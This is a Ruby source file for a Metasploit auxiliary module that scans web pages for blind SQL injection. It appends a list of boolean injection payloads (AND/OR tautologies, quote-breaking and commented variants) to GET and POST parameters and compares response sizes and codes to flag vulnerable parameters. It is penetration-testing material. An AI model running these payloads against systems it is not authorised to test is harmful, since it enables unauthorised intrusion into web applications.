## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanUniqueQuery include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'HTTP Blind SQL Injection Scanner', 'Description' => %q{ This module identifies the existence of Blind SQL injection issues in GET/POST Query parameters values. }, 'Author' => [ 'et [at] cyberspace.org' ], 'License' => BSD_LICENSE, 'Version' => '$Revision$')) register_options( [ OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]), OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']), OptString.new('QUERY', [ false, "HTTP URI Query", '']), OptString.new('DATA', [ false, "HTTP Body Data", '']), OptString.new('COOKIE',[ false, "HTTP Cookies", '']) ], self.class) end def run_host(ip) # Force http verb to be upper-case, because otherwise some web servers such as # Apache might throw you a 501 http_method = datastore['METHOD'].upcase gvars = Hash.new() pvars = Hash.new() cvars = Hash.new() rnum=rand(10000) inivalstr = [ [ 'numeric', " AND #{rnum}=#{rnum} ", " AND #{rnum}=#{rnum+1} " ], [ 'single quotes', "' AND '#{rnum}'='#{rnum}", "' AND '#{rnum}'='#{rnum+1}" ], [ 'double quotes', "\" AND \"#{rnum}\"=\"#{rnum}", "\" AND \"#{rnum}\"=\"#{rnum+1}" ], [ 'OR single quotes uncommented', "' OR '#{rnum}'='#{rnum}", "' OR '#{rnum}'='#{rnum+1}" ], [ 'OR single quotes closed and commented', "' OR '#{rnum}'='#{rnum}'--", "' OR '#{rnum}'='#{rnum+1}'--" ], [ 'hex encoded OR single quotes uncommented', "'%20OR%20'#{rnum}'%3D'#{rnum}", "'%20OR%20'#{rnum}'%3D'#{rnum+1}" ], [ 'hex encoded OR single quotes closed and commented', "'%20OR%20'#{rnum}'%3D'#{rnum}'--", "'%20OR%20'#{rnum}'%3D'#{rnum+1}'--" ] ] # Creating strings with true and false values valstr = [] inivalstr.each do |vstr| # With true values valstr << vstr # With false values, appending 'x' to real value valstr << ['False char '+vstr[0],'x'+vstr[1],'x'+vstr[2]] # With false values, appending '0' to real value valstr << ['False num '+vstr[0],'0'+vstr[1],'0'+vstr[2]] end #valstr.each do |v| # print_status("#{v[0]}") # print_status("#{v[1]}") # print_status("#{v[2]}") #end # # Dealing with empty query/data and making them hashes. # if !datastore['QUERY'] or datastore['QUERY'].empty? datastore['QUERY'] = nil gvars = nil else gvars = queryparse(datastore['QUERY']) #Now its a Hash end if !datastore['DATA'] or datastore['DATA'].empty? datastore['DATA'] = nil pvars = nil else pvars = queryparse(datastore['DATA']) end if !datastore['COOKIE'] or datastore['COOKIE'].empty? datastore['COOKIE'] = nil cvars = nil else cvars = queryparse(datastore['COOKIE']) end verifynr=2 i=0 k=0 c=0 normalres = nil verifynr.times do |j| #SEND NORMAL REQUEST begin normalres = send_request_cgi({ 'uri' => datastore['PATH'], 'vars_get' => gvars, 'method' => http_method, 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => datastore['COOKIE'], 'data' => datastore['DATA'] }, 20) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end if not normalres print_error("No response") return else if i==0 k = normalres.body.length c = normalres.code.to_i else if k != normalres.body.length print_error("Normal response body vary") return end if c != normalres.code.to_i print_error("Normal response code vary") return end end end end print_status("[Normal response body: #{k} code: #{c}]") pinj = false valstr.each do |tarr| #QUERY if gvars gvars.each do |key,value| vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:") #SEND TRUE REQUEST testgvars = queryparse(datastore['QUERY']) #Now its a Hash testgvars[key] = testgvars[key]+tarr[1] t = testgvars[key] begin trueres = send_request_cgi({ 'uri' => datastore['PATH'], 'vars_get' => testgvars, 'method' => http_method, 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => datastore['COOKIE'], 'data' => datastore['DATA'] }, 20) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end #SEND FALSE REQUEST testgvars = queryparse(datastore['QUERY']) #Now its a Hash testgvars[key] = testgvars[key]+tarr[2] begin falseres = send_request_cgi({ 'uri' => datastore['PATH'], 'vars_get' => testgvars, 'method' => http_method, 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => datastore['COOKIE'], 'data' => datastore['DATA'] }, 20) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end pinja = false pinjb = false pinjc = false pinjd = false pinja = detection_a(normalres,trueres,falseres,tarr) pinjb = detection_b(normalres,trueres,falseres,tarr) pinjc = detection_c(normalres,trueres,falseres,tarr) pinjd = detection_d(normalres,trueres,falseres,tarr) if pinja or pinjb or pinjc or pinjd print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}") print_good("[#{t}]") report_web_vuln( :host => ip, :port => rport, :vhost => vhost, :ssl => ssl, :path => datastore['PATH'], :method => http_method, :pname => key, :proof => "blind sql inj.", :risk => 2, :confidence => 50, :category => 'SQL injection', :description => "Blind sql injection of type #{tarr[0]} in param #{key}", :name => 'Blind SQL injection' ) else vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}") end end end #DATA if pvars pvars.each do |key,value| print_status("- Testing '#{tarr[0]}' Parameter #{key}:") #SEND TRUE REQUEST testpvars = queryparse(datastore['DATA']) #Now its a Hash testpvars[key] = testpvars[key]+tarr[1] t = testpvars[key] pvarstr = "" testpvars.each do |tkey,tvalue| if pvarstr pvarstr << '&' end pvarstr << tkey+'='+tvalue end begin trueres = send_request_cgi({ 'uri' => datastore['PATH'], 'vars_get' => gvars, 'method' => http_method, 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => datastore['COOKIE'], 'data' => pvarstr }, 20) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end #SEND FALSE REQUEST testpvars = queryparse(datastore['DATA']) #Now its a Hash testpvars[key] = testpvars[key]+tarr[2] pvarstr = "" testpvars.each do |tkey,tvalue| if pvarstr pvarstr << '&' end pvarstr << tkey+'='+tvalue end begin falseres = send_request_cgi({ 'uri' => datastore['PATH'], 'vars_get' => gvars, 'method' => http_method, 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => datastore['COOKIE'], 'data' => pvarstr }, 20) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end pinja = false pinjb = false pinjc = false pinjd = false pinja = detection_a(normalres,trueres,falseres,tarr) pinjb = detection_b(normalres,trueres,falseres,tarr) pinjc = detection_c(normalres,trueres,falseres,tarr) pinjd = detection_d(normalres,trueres,falseres,tarr) if pinja or pinjb or pinjc or pinjd print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}") print_good("[#{t}]") report_web_vuln( :host => ip, :port => rport, :vhost => vhost, :ssl => ssl, :path => datastore['PATH'], :method => http_method, :pname => key, :proof => "blind sql inj.", :risk => 2, :confidence => 50, :category => 'SQL injection', :description => "Blind sql injection of type #{tarr[0]} in param #{key}", :name => 'Blind SQL injection' ) else vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}") end end end end end def detection_a(normalr,truer,falser,tarr) # print_status("A") # DETECTION A # Very simple way to compare responses, this can be improved alot , at this time just the simple way if normalr and truer #Very simple way to compare responses, this can be improved alot , at this time just the simple way reltruesize = truer.body.length-(truer.body.scan(/#{tarr[1]}/).length*tarr[1].length) normalsize = normalr.body.length #print_status("normalsize #{normalsize} truesize #{reltruesize}") if reltruesize == normalsize if falser relfalsesize = falser.body.length-(falser.body.scan(/#{tarr[2]}/).length*tarr[2].length) #print_status("falsesize #{relfalsesize}") if reltruesize > relfalsesize print_status("Detected by test A") return true else return false end else vprint_status("NO False Response.") end else vprint_status("Normal and True requests are different.") end else print_status("No response.") end return false end def detection_b(normalr,truer,falser,tarr) # print_status("B") # DETECTION B # Variance on res body if normalr and truer if falser #print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}") if (truer.body.length-tarr[1].length) != normalr.body.length and (falser.body.length-tarr[2].length) == normalr.body.length print_status("Detected by test B") return true end if (truer.body.length-tarr[1].length) == normalr.body.length and (falser.body.length-tarr[2].length) != normalr.body.length print_status("Detected by test B") return true end end end return false end def detection_c(normalr,truer,falser,tarr) # print_status("C") # DETECTION C # Variance on res code of true or false statements if normalr and truer if falser if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i print_status("Detected by test C") return true end if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i print_status("Detected by test C") return true end end end return false end def detection_d(normalr,truer,falser,tarr) # print_status("D") # DETECTION D # Variance PERCENTAGE MIN MAX on res body # 2% 50% max_diff_perc = 2 min_diff_perc = 50 if normalr and truer if falser nl= normalr.body.length tl= truer.body.length fl= falser.body.length if nl == 0 nl = 1 end if tl == 0 tl = 1 end if fl == 0 fl = 1 end ntmax = [ nl,tl ].max ntmin = [ nl,tl ].min diff_nt_perc = ((ntmax - ntmin)*100)/(ntmax) diff_nt_f_perc = ((ntmax - fl)*100)/(ntmax) if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc print_status("Detected by test D") return true end nfmax = [ nl,fl ].max nfmin = [ nl,fl ].min diff_nf_perc = ((nfmax - nfmin)*100)/(nfmax) diff_nf_t_perc = ((nfmax - tl)*100)/(nfmax) if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc print_status("Detected by test D") return true end end end return false end end